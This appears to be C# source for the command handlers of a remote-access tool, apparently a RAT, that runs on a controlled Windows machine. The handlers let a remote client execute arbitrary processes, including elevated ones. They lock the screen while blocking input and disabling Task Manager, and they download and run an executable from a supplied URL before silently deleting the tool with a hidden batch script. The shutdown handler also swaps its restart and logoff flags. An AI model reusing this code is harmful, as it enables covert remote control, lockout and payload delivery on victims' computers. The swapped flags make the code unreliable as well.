public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); string arguments; switch (ComputerAction) { case ComputerAction.Shutdown: arguments = "/s /t 0"; break; case ComputerAction.Restart: arguments = "/l /t 0"; break; case ComputerAction.LogOff: arguments = "/r /t 0"; break; default: feedbackFactory.Failed("Unknown shutdown type"); return; } var psi = new ProcessStartInfo("shutdown.exe", arguments) { CreateNoWindow = true, UseShellExecute = false }; feedbackFactory.Succeeded(); Process.Start(psi); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); DesktopWallpaper.Set(WallpaperUrl, DesktopWallpaperStyle); feedbackFactory.Succeeded(); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); for (int i = 0; i < Times; i++) { Process.Start(Url); } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var result = MessageBox.Show(Text, Title, MessageBoxButtons, Icon, DefaultButton); feedbackFactory.Succeeded("Message box successfully opened. Result: " + result); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); using (var notifyIcon = new NotifyIcon { Icon = SystemIcons.Application }) { notifyIcon.Visible = true; notifyIcon.ShowBalloonTip(Timeout, Title, Text, ToolTipIcon); Thread.Sleep(Timeout); } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var notepad = Process.Start(new ProcessStartInfo("notepad.exe")); if (notepad != null) { notepad.WaitForInputIdle(); if (!string.IsNullOrEmpty(Title)) { SetWindowText(notepad.MainWindowHandle, Title); } if (!string.IsNullOrEmpty(Text)) { var child = FindWindowEx(notepad.MainWindowHandle, new IntPtr(0), "Edit", null); SendMessageW(child, 0x000C, IntPtr.Zero, Text); } } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var process = new Process { StartInfo = { FileName = FileName, Arguments = Arguments, CreateNoWindow = CreateNoWindow, WorkingDirectory = WorkingDirectory, UseShellExecute = UseShellExecute, WindowStyle = (ProcessWindowStyle)WindowStyle, Verb = string.IsNullOrEmpty(Verb) ? Verb : (ExecuteAsAdministrator ? "runas" : null) } }; if (!process.Start()) { feedbackFactory.Failed(); } }
public override void StartExecute(CommandParameter commandParameter, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); if (UseDifferentDesktop) { _desktop = Desktop.CreateDesktop(Guid.NewGuid().ToString("N")); _desktop.Show(); Desktop.SetCurrent(_desktop); if (CloseOtherWindows) { _closeWindowsTimer = new Timer(CloseWindowsCallback, null, _closeWindowsInterval, TimeoutEx.InfiniteTimeSpan); } } if (RotateScreen) { var result = Display.RotateAllScreens(Display.Orientations.DEGREES_CW_180); if (result != DISP_CHANGE.Successful) { Display.ResetAllRotations(); RotateScreen = false; } } _lockForm = new SystemLockForm(Message, PreventClosing, Background, SetToTopPeriodically, RotateScreen); if (DisableUserInput) { NativeMethods.BlockInput(true); } if (Topmost) { _lockForm.TopMost = true; } if (DisableTaskManager) { try { WindowsModules.SetTaskManager(false); } catch (Exception) { // ignored } } try { _lockForm.ShowDialog(); } finally { if (RotateScreen) { Display.ResetAllRotations(); } if (DisableUserInput) { NativeMethods.BlockInput(false); } if (DisableTaskManager) { try { WindowsModules.SetTaskManager(true); } catch (Exception) { // ignored } } if (_closeWindowsTimer != null) { var closeTimer = _closeWindowsTimer; _closeWindowsTimer = null; closeTimer.Dispose(); } if (UseDifferentDesktop) { Desktop.Default.Show(); _desktop.Dispose(); } } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var downloadFile = new FileInfo(FileExtensions.GetFreeTempFileName("exe")); var succeed = false; var downloadUri = new Uri(DownloadUrl); for (int i = 0; i < 10; i++) { try { using (var wc = new WebClient()) { wc.DownloadFile(new Uri(DownloadUrl), downloadFile.FullName); } } catch (Exception ex) { //After 5 failed tries, we convert the https uri to a http uri if (i == 4) { //Windows Xp doesnt support the new ssl encryptions, we have to try to download the file using http if (downloadUri.Scheme == "https") // && Environment.OSVersion.Version.Major < 6 { downloadUri = new UriBuilder(downloadUri) { Scheme = Uri.UriSchemeHttp, Port = -1 // default port for scheme }.Uri; } } if (i == 9) { feedbackFactory.ErrorMessage(ex.Message); } continue; } Thread.Sleep(100); //wait for the file to close if (!string.IsNullOrEmpty(Hash)) { try { byte[] computedHash; using (var stream = File.OpenRead(downloadFile.FullName)) using (var sha = new SHA256Managed()) computedHash = sha.ComputeHash(stream); if (!computedHash.SequenceEqual(StringExtensions.HexToBytes(Hash))) { downloadFile.Delete(); feedbackFactory.ErrorMessage("The hash value doesn't equal the transmitted hash value"); continue; } } catch (Exception) { continue; } } succeed = true; break; } if (!succeed) { feedbackFactory.Failed(); return; } UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemoveOtherStuff(); feedbackFactory.Succeeded(); Program.Unload(); try { var programPath = Consts.ApplicationPath; var scriptFile = FileExtensions.GetFreeTempFileName("bat"); File.SetAttributes(programPath, FileAttributes.Normal); var script = $"@ECHO OFF\r\nping 127.0.0.1 > nul\r\necho j | del \"{programPath}\"\r\necho j | del {programPath}"; File.WriteAllText(scriptFile, script); var p = new ProcessStartInfo(scriptFile) { WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(downloadFile.FullName, Arguments); Process.Start(p); } catch (Exception) { Application.Restart(); return; } Program.Exit(); }